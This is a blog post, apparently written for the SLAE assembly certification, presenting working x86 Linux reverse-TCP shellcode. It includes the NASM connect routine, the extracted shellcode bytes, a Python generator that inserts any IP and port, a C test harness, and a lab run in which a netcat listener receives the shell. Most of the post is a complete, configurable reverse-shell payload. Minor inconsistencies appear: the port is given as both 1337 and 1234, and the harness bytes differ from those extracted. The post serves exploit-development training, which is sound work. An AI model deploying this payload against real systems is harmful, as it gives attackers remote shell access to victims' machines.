This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

Create a Shell_Reverse_TCP shellcode

  • Reverse connects to configured IP and Port
  • Execs shell on successful connection
    IP and Port should be easily configurable

GitHub

https://github.com/timip/SLAE/blob/master/shell_reverse_tcp_nonull.nasm

Assembly

Program Flow

  1. Create socket
  2. Connect to listener
  3. Redirect STDIN, STDOUT and STDERR to newly created socket from client
  4. Spawn the shell

Socket Programming

For socket programming through syscalls you'll need to make use of three registers:

  1. EAX should always contain 0x66, which is the number of socketcall() defined in the linux headers.
  2. EBX should contain the call ID for the specific socket function you want to execute, which is defined in /usr/include/linux/net.h
  3. ECX contains a pointer to the arguments.

1. Create socket

Please refer to assignment 1.

2. Connect to listener

int socketcall(int call, unsigned long *args) → int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); → *addr={sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("192.168.111.211")}
  socketcall connect *addr
Parameters
  • EBX: call = SYS_CONNECT (3)
    • Reference: /usr/include/linux/net.h
  • ECX: *args = ESP
  • STACK: sockfd = ESI
  • STACK: *addr=ECX
  • STACK: addrlen = 16
  • STACK: sa_family = AF_INET (2)
    • Reference: /usr/src/linux-headers-4.4.0-93/include/linux/socket.h
  • STACK: sin_port = 1337 (Reverse)
  • STACK: sin_addr = C0.A8.6F.D3 (Reverse)
Code
mov ecx, esp	; ECX=*args=$esp
inc ebx ; EBX=call=SYS_CONNECT=3
push 0x10	; addrlen=16
push ecx ; *addr=ECX
push esi ; sockfd=ESI
push 0xD36FA8C0	; addr.sin_addr=192.168.111.211 Reverse (C0.A8.6F.D3)
push word 0x3905 ; addr.sin_port=1337 big endian
inc ebx
push word bx ; addr.sa_family=AF_INET=2
mov ecx, esp ; ECX=*addr

Syscall

push byte 0x66 pop eax			; EAX=socketcall=0x66 int 0x80

Stack

Port=1234

3. Redirect STDIN,STDOUT and STDERR to newly created socket from client

Please refer to assignment 1

4. Spawn the shell

Please refer to assignment 1

Python Wrapper

Get shellcode from binary

Get all shellcode on binary file from objdump

> nasm -f elf32 -o shell_reverse_tcp_nonull.o shell_reverse_tcp_nonull.nasm > ld -o shell_reverse_tcp_nonull shell_reverse_tcp_nonull.o > objdump -d ./shell_reverse_tcp_nonull |grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g' "\x31\xdb\x53\x6a\x01\x6a\x02\x43\x89\xe1\x6a\x66\x58\x99\xcd\x80\x96\x68\xc0\xa8\x6f\xd3\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Code

#!/usr/bin/python
 
import socket, sys, struct
 
if len(sys.argv) is not 3:
    print "Usage: {0} IP PORT".format(sys.argv[0])
    exit()
 
ip = socket.inet_aton(sys.argv[1])
port = int(sys.argv[2])
 
if port < 1 or port > 65535:
    print "[!] Wrong port no."
    exit()
 
ip = ip.encode('hex')
port = format(port, '04x')
 
print "[+] IP = " + ip
print "[+] PORT = " + port
 
shellcode = "\\x31\\xdb\\x53\\x6a\\x01\\x6a\\x02\\x43\\x89\\xe1\\x6a\\x66\\x58\\x99\\xcd\\x80\\x96\\x68\\x" + ip[0:2] + "\\x" + ip[2:4] + "\\x" + ip[4:6] + "\\x" + ip[6:8] + "\\x66\\x68\\x" + str(port[0:2]) + "\\x" + str(port[2:4]) + "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x89\\xf3\\x31\\xc9\\xb0\\x3f\\xcd\\x80\\x41\\x80\\xf9\\x03\\x75\\xf6\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80"
 
print "[+] Shellcode length = " + str(len(shellcode)/4)
print "unsigned char code[] = \"" + shellcode + "\";"

Testing

Code

#include<stdio.h>
#include<string.h>
  
unsigned char code[] = "\x31\xdb\x53\x6a\x01\x6a\x02\x43\x89\xe1\x6a\x66\x58\x99\xcd\x80\x96\x52\x66\x68\x04\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x56\x43\x43\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x43\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  
void main() {
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Compile and Test

> python shell_reverse_tcp_nonull.py 192.168.111.211 1234
[+] IP = c0a86fd3
[+] PORT = 04d2
[+] Shellcode length = 80
> unsigned char code[] = "\x31\xdb\x53\x6a\x01\x6a\x02\x43\x89\xe1\x6a\x66\x58\x99\xcd\x80\x96\x68\xc0\xa8\x6f\xd3\x66\x68\x04\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
# Victim Side
> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c -g
> ./shellcode
Shellcode Length:  80
  
# Attack Side
> nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.111.211] from (UNKNOWN) [192.168.111.214] 54446
ls -la